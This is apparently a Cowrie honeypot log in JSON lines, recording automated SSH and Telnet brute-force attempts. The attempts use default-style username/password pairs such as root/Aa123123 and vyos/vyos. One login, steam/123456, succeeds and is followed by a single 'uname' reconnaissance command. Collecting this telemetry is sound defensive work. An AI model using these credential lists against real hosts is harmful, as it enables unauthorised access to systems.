{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:34.364796Z","src_ip":"83.168.110.85","session":"79bd6bfddbe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:34.730679Z","src_ip":"83.168.110.85","session":"79bd6bfddbe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:35.861163Z","src_ip":"83.168.110.85","session":"79bd6bfddbe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33396,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea8e07fbf847","protocol":"telnet","message":"New connection: 152.42.224.71:33396 (10.17.0.5:23) [session: ea8e07fbf847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:40.217898Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57786,"dst_ip":"10.17.0.5","dst_port":22,"session":"9551cb56dadb","protocol":"ssh","message":"New connection: 83.168.110.85:57786 (10.17.0.5:22) [session: 9551cb56dadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:41.127704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:41.134514Z","src_ip":"83.168.110.85","session":"9551cb56dadb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:41.256419Z","src_ip":"83.168.110.85","session":"9551cb56dadb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:41.713570Z","src_ip":"83.168.110.85","session":"9551cb56dadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:42.855961Z","src_ip":"83.168.110.85","session":"9551cb56dadb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53290,"dst_ip":"10.17.0.5","dst_port":22,"session":"715598989415","protocol":"ssh","message":"New connection: 83.168.110.85:53290 (10.17.0.5:22) [session: 715598989415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:48.126379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:48.190159Z","src_ip":"83.168.110.85","session":"715598989415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:48.254011Z","src_ip":"83.168.110.85","session":"715598989415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:48.731101Z","src_ip":"83.168.110.85","session":"715598989415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47800,"dst_ip":"10.17.0.5","dst_port":23,"session":"b161e4678a30","protocol":"telnet","message":"New connection: 152.42.224.71:47800 (10.17.0.5:23) [session: b161e4678a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:48.933170Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":53036,"dst_ip":"10.17.0.5","dst_port":22,"session":"85a1b7795fd8","protocol":"ssh","message":"New connection: 43.153.50.142:53036 (10.17.0.5:22) [session: 85a1b7795fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:50.014554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:50.019556Z","src_ip":"43.153.50.142","session":"85a1b7795fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:50.023531Z","src_ip":"83.168.110.85","session":"715598989415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:50.089979Z","src_ip":"43.153.50.142","session":"85a1b7795fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890Aa","message":"login attempt [root/1234567890Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:50.394447Z","src_ip":"43.153.50.142","session":"85a1b7795fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:51.466757Z","src_ip":"43.153.50.142","session":"85a1b7795fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59280,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0a75c18d22","protocol":"ssh","message":"New connection: 83.168.110.85:59280 (10.17.0.5:22) [session: 8a0a75c18d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:55.169337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:55.174948Z","src_ip":"83.168.110.85","session":"8a0a75c18d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:55.297603Z","src_ip":"83.168.110.85","session":"8a0a75c18d22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:55.662061Z","src_ip":"83.168.110.85","session":"8a0a75c18d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00225615501404,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:56.498153Z","src_ip":"152.42.224.71","session":"2181ca629baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:38:56.971150Z","src_ip":"83.168.110.85","session":"8a0a75c18d22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59284,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9e6fc579dd3","protocol":"ssh","message":"New connection: 83.168.110.85:59284 (10.17.0.5:22) [session: d9e6fc579dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:02.155631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:02.162369Z","src_ip":"83.168.110.85","session":"d9e6fc579dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:02.308123Z","src_ip":"83.168.110.85","session":"d9e6fc579dd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:02.678860Z","src_ip":"83.168.110.85","session":"d9e6fc579dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:03.814816Z","src_ip":"83.168.110.85","session":"d9e6fc579dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45192,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b1ba6dfe3d8","protocol":"ssh","message":"New connection: 83.168.110.85:45192 (10.17.0.5:22) [session: 2b1ba6dfe3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:09.124523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:09.129689Z","src_ip":"83.168.110.85","session":"2b1ba6dfe3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:09.252604Z","src_ip":"83.168.110.85","session":"2b1ba6dfe3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:09.781291Z","src_ip":"83.168.110.85","session":"2b1ba6dfe3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:10.921499Z","src_ip":"83.168.110.85","session":"2b1ba6dfe3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55392,"dst_ip":"10.17.0.5","dst_port":23,"session":"d427822806db","protocol":"telnet","message":"New connection: 152.42.224.71:55392 (10.17.0.5:23) [session: d427822806db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:12.204351Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55556,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5cf4de453f7","protocol":"ssh","message":"New connection: 83.168.110.85:55556 (10.17.0.5:22) [session: b5cf4de453f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:16.397370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:16.411268Z","src_ip":"83.168.110.85","session":"b5cf4de453f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:16.532247Z","src_ip":"83.168.110.85","session":"b5cf4de453f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:16.896567Z","src_ip":"83.168.110.85","session":"b5cf4de453f7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:17.182672Z","src_ip":"83.168.110.85","session":"b5cf4de453f7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:17.185999Z","src_ip":"83.168.110.85","session":"b5cf4de453f7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:17.310947Z","src_ip":"83.168.110.85","session":"b5cf4de453f7","protocol":"ssh"}
